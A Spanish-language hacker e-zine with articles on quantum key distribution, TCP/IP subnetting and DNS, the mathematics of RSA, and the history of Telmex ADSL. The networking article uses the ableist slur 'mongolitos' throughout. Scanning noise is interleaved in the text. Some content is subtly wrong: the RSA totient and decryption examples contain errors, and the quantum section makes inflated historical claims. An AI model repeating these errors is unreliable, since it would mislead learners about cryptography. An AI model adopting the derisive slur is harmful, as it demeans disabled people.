Cifrado cuántico La mayoría de los cifrados actuales se clasifican por claves para el cifrado o descifrado de un algún tipo de mensaje, la importancia general, no solo es que el mensaje valla completamente seguro, sino que la clave para cifrar o descifrar este completamente segura, esto conlleva a que el cifrado cuántico haga su aparición, usando como base el siguiente esquema:

La idea principal consiste en poder mandar la clave por medio de filtros usando fotones, es enviar flujos de partículas de luz (fotones) especialmente preparadas, para luego medirlas por las partes implicadas en la comunicación, y luego post-procesar esos datos obtenidos de la medición (por medio de filtros). El resultado es la clave criptográfica que se compone de cadenas de bits aleatorios idénticos en ambos extremos.


Conclusión La computación cuántica ya es una realidad desde el primer experimento realizado por Bennett y Bassard en 1989, demostró la fiabilidad de la posible idea, con un rango de error muy por debajo de lo que se imaginaba. Se esperan en un tiempo no muy lejano poder tener los conocimientos suficientes y las habilidades necesarias para poder crear y razonar lo que la misma computación cuántica es, solo un cifrado más en el que se puede trabajar.

Saludos. Netxing

Fuentes: http://www.physorg.com/news142677178.html http://es.wikipedia.org/wiki/Tiempo_polin%C3%B3mico http://www.bris.ac.uk/news/5941.html << Regresar al índice


Por: DeadSector ([email protected])

Pequeño articulo explicando lo básico del protocolo TCP/IP dedicado a todos los administradores mongolitos. La idea para este articulo vino después de que un “administrador” me asignara unos ips para la instalación

de unas cámaras web y unos puntos de acceso inalámbricos. Los ips que me dieron eran IP: 192.168.0.70 Netmask: 255.255.255.192 Gateway: 192.168.0.1 (dios bendito dame paciencia) esto me recordó la vez que me pidieron ayuda en cierta asociación porque la administradora de sistemas había descubierto una gran cantidad de conflictos de ips ya que muchas maquina tenían el mismo IP asignado 127.0.0.1.

Vamos a comenzar con los datos básicos que te pide una máquina al configurar la tarjeta de red IP: dirección de la máquina. Netmask: identifica la red a la cual pertenece la máquina. Gateway: salida para comunicarse con máquinas fuera de tu red. DNS: servidor que te convertirá un nombre de máquina a dirección IP. Usemos la información que me dieron en ejemplo, Netmask 255.255.255.192 significa que el rango de IP’s 192.168.0.X lo vamos a dividir en grupos de 64 IP’s por red. La manera más rápida de sacar la cantidad de IP’s usando Netmask es usando 256 y quitándole el 1 número final de Netmask. 2 # a 256 - 192 = 64 IP’s. n a c i x e a z ¿Porqué 256? Porque de IP 192.168.0.0 al 192.168.0.255 serian 256. SI, el 0 también cuenta. O a R busquen ‘ip calculator’ en google.

Nos quedan estos grupos de IP’s 0 – 63 ( 192.168.0.0 IP de Red1, 192.168.0.63 IP de broadcast, 62 IP’s para maquinas )

64 – 127 ( 192.168.0.64 IP de Red2, 192.168.0.127 IP de broadcast, 62 IP’s para maquinas )



El IP que me asignaron era 192.168.0.70 y es parte de grupos de IP’s de 64 a 127. Solamente me puedo comunicar con otras maquinas de este mismo rango de IP’s. Cuando quiero ver otra máquina de mi red (o sea del 64 al 127), por ejemplo, la IP 192.168.0.71, pasa lo siguiente: 1. Mi computadora envía un aviso al IP de broadcast de mi red: 192.168.0.127 anunciando que busco la máquina de IP 192.168.0.71. 2.

Todas las maquinas de mi red reciben esta solicitud porque están escuchando los broadcast al IP 127.

3. Si una maquina tiene asignado el IP 71 contesta y dice Aquí estoy y mi macaddress es 0102-03-04-05-06!! 1 2 # a n a c i x e a z a R

4. El switchhub guarda la información en memoria y sabe que una maquina con ese Mac address está conectada al puerto numero 2 de switchhub. 5. Mi maquina escucha ‘ehh we... el IP que buscabas tiene macaddress 01-02-03-04-05-06 . 6. Mi maquina guarda esa información en cache (IP y MAC address) y estoy listo para comunicarme. Cuando quiero comunicarme con otro IP, por ejemplo 8.8.8.9, que esta fuera de mi rango de IP’s mi maquina necesita enviarle la petición a la puerta de salida o Gateway PERO como el

administrador mongolito me dijo que mi Gateway era el 192.168.0.1 esto se vuelve imposible ya que no puedo ver el IP 1 porque no pertenece a mi red y no puede escuchar mis peticiones.

Not pictured: number 1

Otro error clásico de administradores mongolitos es usar Netmask 255.0.0.0 y después preguntan ‘oie mano, polque no puelo ver el servidol desde la otra oficina? Polque no puedo vel las camaras desde mi casa? (léase con voz de mongolito) y tengo que explicarles ‘hermano lelo lo que pasa es

que pusiste Netmask 255.0.0.0 lo cual significa que si tienes IP 200.57.141.200 le estás diciendo a tu maquina que todos los ips que comiencen con 200 están dentro de tu red. Desde 200.0.0.0 hasta 200.255.255.255 y probablemente en tu casa o la otra oficina tienen un IP dentro de ese rango. Tu maquina nunca envía la solicitud a la puerta de salida o Gateway porque está segura que esos IP’s deben estar dentro de tu red y no es necesario salir. Ahh pero yo no uso IP’s, yo uso nombres para ver otras maquinas o paginas. Los IP’s y Netmask también me afectan? SI, si te afectan. Para visitar una página o conectarte a un servidor por nombre se necesitan 3 cosas básicas: Nombre ( indica qué es lo que buscamos ) Dirección IP ( dónde se encuentra ) Ruta ( cómo vamos a llegar ahí o que camino debemos tomar ) 1 2 Ejemplo: # a n a 1. Cuando quieres visitar www.telmex.com tu maquina le pregunta al servidor que c i x configuraste como DNS cual es la dirección numérica de ese nombre. e a 2. El servidor DNS busca en sus archivos y si tiene apuntado ese nombre te da la dirección ip, z a R

3. Si no está configurada busca en su cache para ver si no ha buscado ese nombre en las últimas horas.

4. Si no encuentra el nombre entonces les pregunta a los Root nameservers “oie wei, quien puede decirme que ip tien e la página www.telmex.com?” 5.

Los Root nameservers le contestan “ira we... los que te pueden ayudar serian

ns6.telmex.com o ns7.telmex.com. Ellos tienen el IP blah y son los que manejan el dominio Telmex.com”

6. Tu maquina les da las gracias a los Root nameservers (si no lo hace nada de esto funciona) y manda una nueva petición a ns6.telmex.com preguntando de manera amable por la dirección IP de la página www.telmex.com . 7. Los servidores de Telmex le contestan ‘ps esa pagina tiene el IP 200.57.141.200. 8. Tu DNS le avisa a tu maquina que la pagina tiene el IP 200.57.141.200 y tu maquina al darse cuenta que ese IP no pertenece a su red le envía una solicitud a tu Gateway. 9. Tu Gateway verifica sus rutas y se da cuenta que la mejor manera de llegar a ese IP es a través de tu conexión de internet y le envía la solicitud al ruteador de tu ISP. Le dice “un

wei de aquí de esta red quiere hablar con el IP 200.57.141.200 Y así sigue la cadenita, router tras router hasta llegar a destino y luego de regreso hasta tu maquina. Para ver un ejemplo de la ruta que sigues para ver esa pagina da el comando “tracert www.telmex.com” en una ventana de command prompt.

Y no es lo mismo Telmex.com que www.telmex .com. WWW.TELMEX.COM ≠ TELMEX. COM

Encuentra las diferencias. (Hint: WWW) Para que puedas entender piensa en el dominio como tu apellido. Supongamos que lopez.com es el nombre de tu familia y al pedir la página te manda a la página de la familia, pero si alguien pide juan.lopez.com entonces te mandaría a tu página personal. La mayoría de las empresas usan la misma página con o sin www para que los clientes no batallen en localizarla.


Estamos rodeados.

Y también existen algunos administradores mongolitos que ponen un servidor llamado documentserver.miempresa.com y piden que se configure también www.documentserver.miempresa.com por si algún cliente mongolito le pone www a todas las páginas en su browser. Inclusive muchas empresas dan de alta los nombres w, ww, www, wwww.miempresa.com por si el cliente se equivoco y le faltaron w que no le vaya a salir algún error. En otra ocasión platicamos acerca de los dominios y nameservers. Solo quise tocar los puntos básicos de protocolo TCP/IP y todo lo que tiene que hacer una máquina para visitar una página web. Sé que las cosas básicas no les interesan mucho pero mi intención era simplemente desahogarme de las pendejadas que me toca ver día con día en trabajo. GREETS : Razos, Art0wnz, sk8rvoid, hackers de foros.raza-mexicana.org y a todos los jaqueros de underground.org.mx


Nos vemos DeadSector www.raza-mexicana.org Las imágenes, ortografía y la gramática cortesía de [email protected] << Regresar al índice

Por: erregebe ([email protected])

El presente artículo tiene como finalidad introducir al lector en las bases matemáticas del algoritmo de encripción RSA. Mi intención al escribirlo es mostrar lo que hay detrás de su funcionamiento en lugar de proporcionar solo una receta (la cual, considero que todos sabemos). No proporciono datos históricos pues considero que éstos abundan por la red. Proporciono un repaso básico para aquellos lectores que no están familiarizados con las matemáticas.

Breve repaso Aritmética modular Una propiedad interesante de la aritmética modular es que podemos reemplazar cualquier número en una operación, con otro que sea congruente (es decir, que tenga el mismo residuo al ser dividido por el módulo) sin alterar la operación mencionada. Por ejemplo: 11 = 3 (mod 4) 9 = 1 (mod 4) 11 + 9 = 20 (mod 4) = 0 (mod 4) 3 + 1 = 4 (mod 4) = 0 (mod 4) 11 * 9 = 99 (mod 4) = 3 (mod 4) 3 * 1 = 3 (mod 4)

Números primos Los números primos son aquellos que sólo son divisibles entre sí mismos y el número 1, es decir, sólo tienen 2 factores y no más. El número 1 no es considerado como primo*. 1 2 # a n a c i x e a z a R

Números relativamente primos (también llamados coprimos) Los números coprimos son aquellos que no tienen factores en común excepto el número 1, o más formalmente, son aquellos cuyo Máximo Común Divisor es 1. Es fácil ver que esta relación se aplica para números compuestos, pues los números primos son coprimos entre sí por definición.

Ejemplo de números coprimos: MCD(8, 15) = 1 Divisores de 8 = 1, 2, 4, 8 Divisores de 15 = 1, 3, 5, 15 Los números 8 y 15 son relativamente primos. Teorema Fundamental de la Aritmética El TFA enuncia que para todo número existe una y solo una forma de factorizarlo en números primos. Ejemplo: 12 = 2 * 2 * 3 = 2^2 * 3^1 * Esta es una razón por la cual el 1 no es considerado un número primo, si así fuera las combinaciones de factores sería infinita, pues podríamos añadir infinitos 1 a los factores y seguiría resultando el mismo número.

Empezando con los conceptos clave de RSA Función Tociente de Euler La función tociente de Euler se define como: La cardinalidad del conjunto de números entre 1 y n-1 que son relativamente primos con n. O en otras palabras, cuántos números naturales menores que n son coprimos con el. Se denota con la legra griega phi minúscula . Ejemplos: (7) = |{1,2,3,4,5,6}| = 6. (8) = |{1,3,5,7}| = 4

Una vez más, (1) es igual a 1 por convención. Ahora bien, siguiendo en el rumbo de los números primos, ¿cómo se calcula el tociente de un número primo? Fácil, ya que un número primo por definición solo es divisible entre sí mismo y 1, no comparte factores con ningún otro número, por lo tanto, todos los números menores que un número primo son relativamente primos con él. 1 2 # a n a c i x e a z a R

Ejemplo: Si escogemos un número primo, como el 7 y calculamos su tociente obtenemos (7) = (7-1) = 6

Dando un pequeño paso adelante, podemos notar que cuando un número tiene exactamente 2 factores primos diferentes, la función tociente es muy fácil de calcular:

(p * q) = (p – 1)(q – 1)

Si y solo si: 1) p y q son números primos 2) p y q son números diferentes Ejemplos: (15) = (3 * 5) = (3 – 1)*(5 – 1) = 2 * 4 = 8 (15) = |{1,2,4,7,8,11,13,14}| (9)= (3 * 3) = (3 – 1)*(3 – 1) = 2 * 2 = 4 (9)= |{1,2,4,5,7,8}| = 6

- No funciona con factores primos iguales.

Teorema del tociente de Euler Este teorema puede enunciarse así: “Si tomamos dos números, T y R, si T y R son relativamente

primos, y T es menor que R, si elevamos el número T a la potencia (R) y esto es dividido entre R, el resultado siempre será 1”. Es decir

T^(R) = 1 (mod R)

MCD(T, R) = 1

T
Ejemplo: (7) = (7-1) = 6

3^(7) = 1 (mod 7) 3^6 = 1 (mod 7) 729 = 1 (mod 7) 1 104*7 + 1 = 1 (mod 7) 2 # a Regresemos a nuestra ecuación n a c i x T^(R) = 1 (mod R) MCD(T, R) = 1 T < R e a z Si multiplicamos ambos lados por T^(R) obtenemos a R T^(R) * T^(R) = 1 (mod R) * T^(R)

Pero ya sabemos que T^ (R) = 1 (mod R) [siempre tomando en cuenta las restricciones, T y R son coprimos y T es menor que R]. Por lo tanto tenemos T^(R) * T^(R) = 1 (mod R) * 1 (mod R) Ya vimos el comportamiento de las operaciones bajo el mismo módulo, así que podemos llegar a T^(R) * T^(R) = 1 (mod R) Agrupando términos T^2(R) = 1 (mod R) Esto quiere decir que si en lugar de elevar T a la potencia (R), lo elevamos a la potencia 2(R) aun obtenemos el mismo resultado, es decir, 1. ¿Qué pasaría si lo elevamos a la potencia 3 (R)? La respuesta es que seguiríamos obteniendo como resultado 1, pues del lado derecho de la ecuación se seguiría multiplicando por 1 (mod R) tantas veces como queramos sin alterarse el valor. Ahora podemos concluir que: “Si elevamos un número T a una potencia múltiplo de (R) y dividimos este resultado entre R, siempre obtendremos 1, siempre que T y R sean relativamente primos y T sea menor que R”. k

T^(k*(R)) = 1 (mod R)

(Para todo número k , si elevamos T a la potencia (k*(R)), obtendremos 1 mod R)

Modificaremos un poco esta ecuación para tomar el rumbo adecuado, para esto, sustituiremos k*(R) por S. Debemos recordar que S es un múltiplo de (R), o en otras palabras, S es un número que al ser dividido entre (R) deja un residuo de cero, esto es, S es congruente con 0 (mod R). (k*(R)) = S

ó

S = 0 (mod R)

Nuestra ecuación queda ahora: T^S = 1 (mod R) 1 Si multiplicamos ambos miembros de ésta ecuación por T obtenemos 2 # a n T^S * T = 1 (mod R) * T a c i x e T^S+1 = T (mod R) a z a Análogamente a lo que hicimos con la ecuación del teorema del tociente, si seguimos R

multplicando sucesivamente por T ambos lados de esta ecuación llegaremos por ejemplo a

(T^S+1)*T = T (mod R) * T (T^S+2) = T^2 (mod R) Con lo que podemos llegar a concluir que T^E = T^F (mod R)

E = F (mod (R))

Nos estamos acercando al punto final, tomemos la ecuación T^(S+1) = T (mod R) Y supongamos que encontramos 2 números, P y Q, tales que P * Q = S + 1 Tendremos entonces T^(P * Q) = T (mod R) Aplicando propiedades de los exponentes (T^P)^Q = T (mod R) O si lo preferimos (T^Q)^P = T (mod R) Lo que tenemos aquí es lo siguiente: Tomamos un número T, lo elevamos a la potencia P, y nos da alguna cantidad, después elevamos esa cantidad a la potencia Q y obtenemos como resultado el número T del principio. Por la propiedad de los exponentes esto puede realizarse intercambiando P por Q. De una forma más explícita T^P = X (mod R) Que es la encripción y X^Q = T (mod R) Que es la desencripción (o viceversa). 1 Siendo T el texto claro a encriptar, X el mensaje encriptado, P, Q y R las llaves de cifrado. P y R 2 # a forman la llave pública, Q y R forman la llave privada. n a c i x e a z a R

Creación de las llaves El proceso es el siguiente: -

Escogemos 2 números primos al azar, y los multiplicamos entre sí para encontrar R, la razón para hacer esto es la facilidad para calcular la función  del resultado.

R = 11 * 5 = 55 (55) = (11 – 1)(5 – 1) = (10)(4) = 40

-

Ahora, necesitamos encontrar número P y Q tales que: P * Q = 1 (mod (R)) P * Q = 1 (mod 40) ¿Cómo vamos a encontrar tales números? ¿Cuáles son las restricciones para dichos números? Empecemos, nuestra única restricción es que P y Q sean coprimos con , es decir, con 40. También podríamos escogerlos de tal manera que P y Q sean coprimos entre sí. Escojamos P = 7 Ahora necesitamos encontrar un número Q tal que 7 * Q = 1 (mod 40) Esto significa que debemos encontrar un número Q tal que al multiplicarlo por 7 y dividirlo entre 40, nos de cómo resultado 1. El primer valor que cumple tal condición es 23. Por lo tanto Q = 23. Nuestras llaves quedan de la siguiente manera: Llave publica P, R (7, 55) Llave privada Q, R (23, 55) Creamos nuestro esquema de codificación:


2 A 19 N 38 0

3 B 21 O 39 1

4 C 23 P 41 2

6 D 24 Q 42 3

7 E 26 R 43 4

8 F 27 S 46 5

9 G 28 T 47 6

12 H 29 U 48 7

13 I 31 V 49 8

14 J 32 W 51 9

16 K 34 X 52 *

17 L 36 Y 53 espacio

18 M 37 Z

Nuestro texto a encriptar será: RAZAMEX Sustituyendo los valores de cada letra tenemos que RAZAMEX = (26, 2, 37, 2, 18, 7, 34) Para encriptar usamos una de las llaves, la privada por ejemplo (23, 55). Esto se hace de la siguiente manera: R = 26^23 (mod 55) = 31 A = 2^23 (mod 55) = 8 Z = 37^23 (mod 55) = 53 A = 2^23 (mod 55) = 8 M = 18^23 (mod 55) = 2 E = 7^23 (mod 55) = 13 X = 34^23 (mod 55) = 34 Nuestro mensaje encriptado queda como (31, 8, 53, 8, 2, 13, 34) = VF FAIX Para desencriptar usamos la otra llave, la pública (7, 55) de la siguiente forma: V = 31^7 (mod 55) = 26 F = 8^7 (mod 55) = 2 Espacio = 53^7 (mod 55) = 37 F = 8^7 (mod 55) = 2 A = 2^7 (mod 55) = 18 I = 13^7 (mod 55) = 7 X = 34^7 (mod 55) = 34 1 De tal forma que recuperamos el mensaje original (26, 2, 37, 2, 18, 7, 34) = RA ZAMEX 2 # a Notas finales n a c i x 1. Este no es un ejemplo real, es un ejemplo extremadamente simple, usado para fines e demostrativos. a z 2. Nótese que este ejemplo no es mas seguro que un simple cifrado de sustitución tal como a R

ROT13.

3. Nótese asimismo los valores que no fueron incluidos en el esquema de codificación. Estos valores son: 5, 10, 11, 15, 20, 22, 25, 30, 33, 35, 40, 44, 45, y 50 Y no fueron incluidos porque comparten factores con R (55) GCD (5, 55) = 5 GCD(10, 55) = 5 GCD(11, 55) = 11 GCD(15, 55) = 5 …etc.

4. El número 1 no fue incluido pues al elevarlo a cualquier exponente, quedaría el mismo resultado, 1, lo que significa que el mensaje quedaría en la misma forma, encriptado y descencriptado. No sólo eso, además, podemos encontrar valores tal como el de la letra X (34) que al ser encriptado nos devuelve el mismo valor, lo cual es un fallo crítico en un algoritmo de encripción.

Enlaces de interés Números primos en Pagina de entrenamiento para el ACM ICPC de la Universidad Tecnológica de la Mixteca. Incluye código para programar la Criba de Erastóstenes. http://mictlan.utm.mx/html/jaws/html/indexbf36.html?page/primos Teorema Fundamental de la Aritmética en Wikipedia http://es.wikipedia.org/wiki/Teorema_fundamental_de_la_aritmética Algoritmo RSA en RSA Laboratories (inglés) http://www.rsa.com/rsalabs/node.asp?id=2146 << Regresar al índice 1 2 # a n a c i x e a z a R

Por: int_0x40 ([email protected])

Resumen: el presente documento pretende hacer un recuento descriptivo-explicativo del servicio ADSL de Telmex, de sus antecedentes y características generales. No es un estudio exhaustivo sino un acercamiento documental que además tiene la aspiración de aportar algunos datos que quizá sean de interés para más de un curioso aficionado a temas como las redes telefónicas, el protocolo ATM y el ADSL en tierra azteca. A fines de los ochentas y principios de los noventa México requería una infraestructura nacional de telecomunicaciones adecuada para ofrecer servicios que en otros países ya tenían un rato de haberse implementado. En esos años sólo algunas instituciones educativas y algunas privadas habían contado con conexiones analógicas privadas de 9600 bits por segundo basadas tanto en protocolos IBM como DEC5. Era necesaria una infraestructura que abarcara a todo el país, que fuera moderna, que sustituyera a las vetustas y limitadas con las que había contado por décadas y que abriera las posibilidades de ampliación a otros servicios que comenzaban a difundirse por todo el mundo, especialmente para usuarios comunes como nosotros que no fueran instituciones educativas y comerciales 6. Para el caso que aquí nos ocupa, tuvo que privatizarse la principal paraestatal mexicana encargada de la telefonía para que comenzara ese proceso de modernización y ampliación de servicios que llegarían al usuario doméstico. Probablemente el arranque de la modernización de la infraestructura de telecomunicaciones de Telmex dio inicio en el año de 1991 como parte de una estrategia para cambiar la red telefónica basada en cobre, la cual promovió el despliegue de la red nacional de fibra óptica, a fin de sustentar la creciente demanda de servicios 7.


5

El primer nodo Internet lo estableció una universidad mexicana privada con otra de Texas y funcionaba con 4 hilos y 9600 bps. Aunque ya habían existido previamente algunas conexiones vía BITNET. Esa misma universidad albergó el primer servidor de nombres para el dominio .mx. 6 México ya tenía desde 1992 una salida digital de 56kbps al Backbone de Internet establecida por MEXnet, la cual creció en 1994 a 2Mbps de tipo E1 y que sería el origen de redes que interconectaron exclusivamente a centros educativos, comerciales y financieros. 7 El despliegue de la red de fibra óptica se basaría en trayectos cerrados, estableciendo una diversidad de rutas que permitiera asegurar una alta disponibilidad y fiabilidad en su operación. De la misma forma, contaría con múltiples vías de acceso, que permitieran la extensión de los servicios ha cia todos los sectores de la población. Su operación se complementaría con la compra de equipos de transmisión óptica (SDH) y el tendido de cableado submarino e intercontinental.

Se figuraba entonces una red telefónica pública conmutada 8 con posibilidades de ampliación a servicios como la videoconferencia bajo demanda, ATM, y ADSL que llegaría a usuarios domésticos. La red inteligente que Telmex introduce alrededor de 1994 consideraba una nueva arquitectura de red donde se incorporaban elementos innovadores con funciones específicas. La forma de su operación se basaba en la interconexión de nodos donde residían aplicaciones informáticas, centrales de conmutación y sistemas de bases de datos en tiempo real, que se enlazaban mediante avanzados sistemas de señalización 9, para proveer, además del servicio de telefonía básica, toda una extensa posibilidad de nuevos y variados servicios como números gratuitos y línea caliente, etc. Alrededor del año de 1995 Telmex introduce los primeros sistemas SDH, de transmisión en línea sobre fibra óptica, que resolverían las dificultades de saturación y caída de las redes PDH (Plesiochronous Digital Hierarchy). Esta nueva tecnología en el país, aparte de propiciar una forma sencilla de escalabilidad para las capacidades de transmisión, incorporaría además en teoría mecanismos de protección para fallas y proporcionaría un soporte sistemático para la gestión de red. Posteriormente, con el propósito de aumentar más la capacidad de transmisión sin tener que instalar nuevas fibras ópticas, en el año de 1998 se inició el despliegue de equipos con tecnología DWDM, que permitirían la transmisión simultánea de varias señales ópticas sobre una misma fibra10. Dada su amplia capacidad, los sistemas DWDM se emplearon principalmente en aplicaciones de Larga Distancia y Metropolitanas.

8

Se dice que una red es conmutada porque los circuitos de voz del canal de 4 kHz (rango de frecuencia para la voz h umana) así como posteriormente los datos multiplexados en los canales de 150 kHz a 1.1 MHz del medio, necesitan ser conmutados y optimizar los recursos de la red para establecer conexiones temporales a bajo costo para los abonados o usuarios finales de la conexión. El proceso de conmutación de la red telefónica se realiza en las centrales. Los elementos de la conmutación cumplen una función muy sencilla en teoría: establecer una ruta de comunicación entre dos abonados. Es ahí donde el hardware, software y tipo de conmutación que realizan las centrales juega un papel esencial. 9


La señalización es el lenguaje que las centrales telefónicas utilizan para hablarse entre sí y para hablar con los equipos terminales de los abonados. Como existen múltiples fabricantes de equipo telefónico, tanto de centrales como de terminales, es necesario que los equipos sigan “protocolos” de señalización. En México, la interconexión a nivel señalización de Operadores de RTPC puede ser elegida de común acuerdo entre las partes o, en caso de no llegar a ningún acuerdo, cumplir con uno de los dos protocolos normados por la COFETEL. En la práctica, la libertad de elección es arbitraria porque los Operadores nuevos debían interconectarse con una infraestructura dominante, así que las opciones, más bien, las dictaba Telmex.

10

La transmisión se entiende como el medio físico que conduce las señales portadoras de voz o datos por la red así como también los equipos electrónicos del medio. El medio físico de transmisión como ya sabemos puede ser aire, cable coaxial, fibra óptica, satélite, etc. Telmex utiliza principalmente fibra óptica de manufactura avanzada, la única en México preparada para transmitir señales de multiplexación de división de longitud de onda (WDM). Los equipos electrónicos (sistemas) de transmisión optimizan el uso del ancho de banda disponible en el medio. Las principales funciones de los sistemas de transmisión son organizar, segregar y optimizar la utilización de canales en el medio; multiplexar (en aquellos años en cuanto a tiempo;

De esa manera la evolución lógica de la infraestructura de Telmex siguió una vía paralela entre la Larga Distancia Nacional e Internacional; los servicios no geográficos de LD sin costo, las hot lines, los números universales, etc.; las redes privadas virtuales, nacionales y/o mundiales; el Frame Relay que sustituía a las redes X. 25; hasta llegar a los servicios de Internet doméstico que nos interesan. A partir de 1999 Telmex introduce el ATM que es una tecnología para la transmisión de voz, datos y video en redes de banda ancha, basada en la conmutación de paquetes. ATM emerge con gran éxito en la década de los 90s gracias a su amplia capacidad para ofrecer calidad de servicio. Fue la primera plataforma integral multiservicio, representando un paso importante en el suministro de servicios de banda ancha. En el año de 2001 con el lanzamiento del servicio Prodigy Infinitum se ofrecería acceso a Internet en teoría de alta velocidad por medio de líneas digitales dedicadas de banda ancha sobre tecnología DSL utilizando la infraestructura existente de pares de cobre en el bucle del abonado. Para el 2002 también se implementa la red de acceso de banda ancha con el servicio de Prodigy Infinitum que permitiría la conexión inalámbrica de alta velocidad a Internet en casas, negocios y sitios públicos, por medio de un equipo terminal (módem-router) con tecnología WiFi y que en teoría funcionaría con cualquiera de las velocidades que se ofrecían en los accesos de banda ancha con tecnología ADSL. Y así llegamos a un servicio que nos interesa analizar un poco más por su importancia hasta el día de hoy. Durante la década de los noventa el servicio Telmex de acceso doméstico a Internet era por medio de módems dial up vía PPP, que se convirtió en la forma habitual de conexión por parte de los usuarios comunes y las pequeñas empresas durante esos años. Pero ese tipo de conexión contaba con varios inconvenientes: la línea telefónica estaba ocupada mientras existía la conexión a Internet, lo que significa que se consumían recursos de la red telefónica, además de que la velocidad estaba limitada a un máximo de 56 Kbps que no se lograba realmente en la práctica.

El servicio ADSL (Asymmetric Digital Subscriber Line) de Telmex en cambio, resolvería varios de los problemas inherentes a las conexiones PPP dial up del lado del usuario y de la central telefónica, debido que, por un lado (aunque utilizaba el cableado de cobre trenzado del bucle de abonado como medio de transmisión), la línea telefónica quedaba libre para llamadas mientras exista la conexión permanente a Internet gracias a los filtros de frecuencia y, por otro, la conexión no consumía recursos de la red telefónica, puesto que, cuando la señal analógica llegaba a la 1 central11, se extraían los paquetes del bucle del abonado y pasaban a la red IP (digital) de la 2 # a n a c i x e hoy día en cuanto a longitud de onda) distintos y diversos canales de voz y datos para acarreo a alta - velocidad; explotar el ancho de banda disponible en el medio, etc. a z a R 11

Que en realidad sigue usando alguna variante del protocolo PPP para conectar los modems-routers ADSL de los usuarios con el Gateway ATM del ISP.

operadora que los encapsularía y direccionaría con en el protocolo ATM (Asynchronous Transfer Mode).

Propiamente hablando, el modem-router que nos da Telmex (2wire o Thomson) ofrece una conexión Ethernet del lado del usuario como si fuera un concentrador y de esa manera permitir a más de un equipo conectarse a la línea ADSL sin afectar la línea telefónica. En cambio la conexión hacia el exterior es diferente. Se requieren dos dispositivos esenciales cuando menos: el que se instala en la casa del cliente y otro que se encuentra del lado de la central Telmex más cercana a la localidad del abonado, entre 3.5 y 5.5 kilómetros (por eso la distancia a que esté el suscriptor de esa central afectará la velocidad de conexión o el ancho de banda). El dispositivo del usuario, como ya dijimos, realiza comúnmente múltiples funciones como modular y demodular la señal, asignar direcciones IP, rutear y filtrar paquetes. Puede tener interfaces USB y Ethernet pero su principal papel es encapsular paquetes IP en celdas ATM 12 que se modulan para transmitirse en los canales de frecuencia portadores xDSL que luego se filtran a los cables de cobre de la línea telefónica por medio de un splitter. La línea telefónica del abonado puede correr atravesando varios dispositivos que separen nuevamente la señal de voz de la de datos, que se encarguen de separar ésta última según el ancho de banda contratado, y a través de switches ATM hasta ser recibida por un dispositivo DSL de acceso para multiplexeo (DSLAM), el cual maneja múltiples celdas ATM de diferentes líneas de suscripción y las reenvía directamente al la red BT ATM (cableado subterráneo de fibra óptica).


Pero ¿cómo se fracciona la señal que viaja por la línea telefónica de Telmex y porqué pueden transmitirse voz y datos al mismo tiempo? Bueno, para lograr que la línea de teléfono coexista con la conexión a Internet, como ya dijimos antes brevemente, se hace un proceso de modulación, demodulación y filtrado de la señal. De eso se encargan precisamente los modems-routers y los filtros (splitters) que nos da Telmex. Lo que ocurre técnicamente es que se hace una división del espectro de frecuencia: la parte baja sigue siendo utilizada por el canal de voz (hasta 4 kHz) y desde ahí se ubica el espectro utilizado por ADSL (considerando también la limitación inherente del par de hilos de cobre). Aclaramos que este sistema es de dos vías: reserva el espectro bajo de frecuencia para la salida a la red (upstream), y el resto para la entrada (downstream). De manera general no se puede llegar a los 1,1 MHz que es el tope teórico máximo del medio, puesto que la calidad del par de hilos es muy variable, depende de la humedad, la longitud entre dispositivos del usuario y la central, así como de lo vetusto que sea el cableado del bucle. Por eso se usa una modulación de adaptación: los dos sentidos del canal de frecuencia se dividen en sub-canales o bandas de 4 kHz independientes que se modulan casi igual como con los viejos modems tradicionales. Debido a eso se logran treinta y dos canales de upstream y hasta doscientos cincuenta y seis de downstream, con potencial de 60 kbps cada uno de los mismos (modulados en

12

Las celdas o células ATM son paquetes ensamblados de 53 bytes. 5 para el header y 48 para el payload. Dicho sea de paso, el ATM es un protocolo desarrollado a mediados de los ochentas y orientado a la conexión.

QAM o quadrature amplitude modulation) que, acumulados, proporcionan un máximo de 15,36 Mbps de entrada y 1,92 Mbps de salida. Sin embargo, las conexiones más óptimas no consiguen aprovechar correctamente los canales superiores y se considera que el límite máximo de salida es de 8 Mbps. Del mismo modo, Telmex no suele ofrecer conexiones tan rápidas (el paquete Todo México ofrece 5 Mbps), lo que hace que no se pueda lograr el límite teórico. Por otro lado, los protocolos utilizados dentro del ADSL de esta empresa no están definidos por el estándar. Entre los posibles protocolos usados por Telmex para el ADSL, están como ya dijimos el ATM y el mismo PPP. Conclusión:

Uno de los servicios de Internet para usuarios domésticos más utilizados hoy día en México, junto con el cable ha sido el ADSL, que a nivel nacional es mercadeado por Telmex, empresa que atiende el mayor porcentaje de usuarios. Hemos descrito en este documento cómo se llegó a la difusión de este servicio, su conexión con otras infraestructuras que le precedieron y sus principales características. Como idea final creo que queda claro porqué es poco probable hackear los modems-routers de Telmex con la finalidad específica de ampliar la velocidad o el ancho de banda de la manera en como se ha venido haciendo con los cable-modems. En los modems-routers ADSL no existe un servicio TFTP corriendo, ni hay intercambio de archivos de configuración bajo las especificaciones DOCSIS, en los cuales sea posible modificar los rangos de upstream o downstream o hacerse de direcciones MAC del dispositivo, por la sencilla razón de que el medio de transmisión en la línea del abonado no es cable coaxial, sino cables trenzados de cobre, además de que el ancho de banda de la señal se define y configura del lado del ISP con escasa o nula participación del dispositivo del usuario final. Ambas tecnologías funcionan mediante redes híbridas con fibra óptica, pero el medio de transmisión en el bucle abonado es distinto así como los dispositivos para la de-modulación de la señal. Ese tipo de hacking sólo sería posible desde mi punto de vista, atacando los dispositivos ATM o los DSLAM que intervienen directamente en el control de la señal, o en su caso, haciendo ingeniería social a alguien que trabaje en la central. Referencias: http://www.faqs.org/rfcs/rfc2684.html 1 2 # a n a c i x e a z a R

http://www.cisco.com/en/US/tech/tk175/tk819/technologies_white_paper09186a0080093bd2.sh tml ANSI T1.413-1998 “Network and Customer Installation Interfaces – Asymmetric Digital Subscriber Line (ADSL) Metallic Interface.” (American National Standards Institute 1998) “Engineering Projects on Telecommunication in Mexico” CCBEN, UCAT, 2005. (Tesis)

<< Regresar al índice

Por: beavis ([email protected])

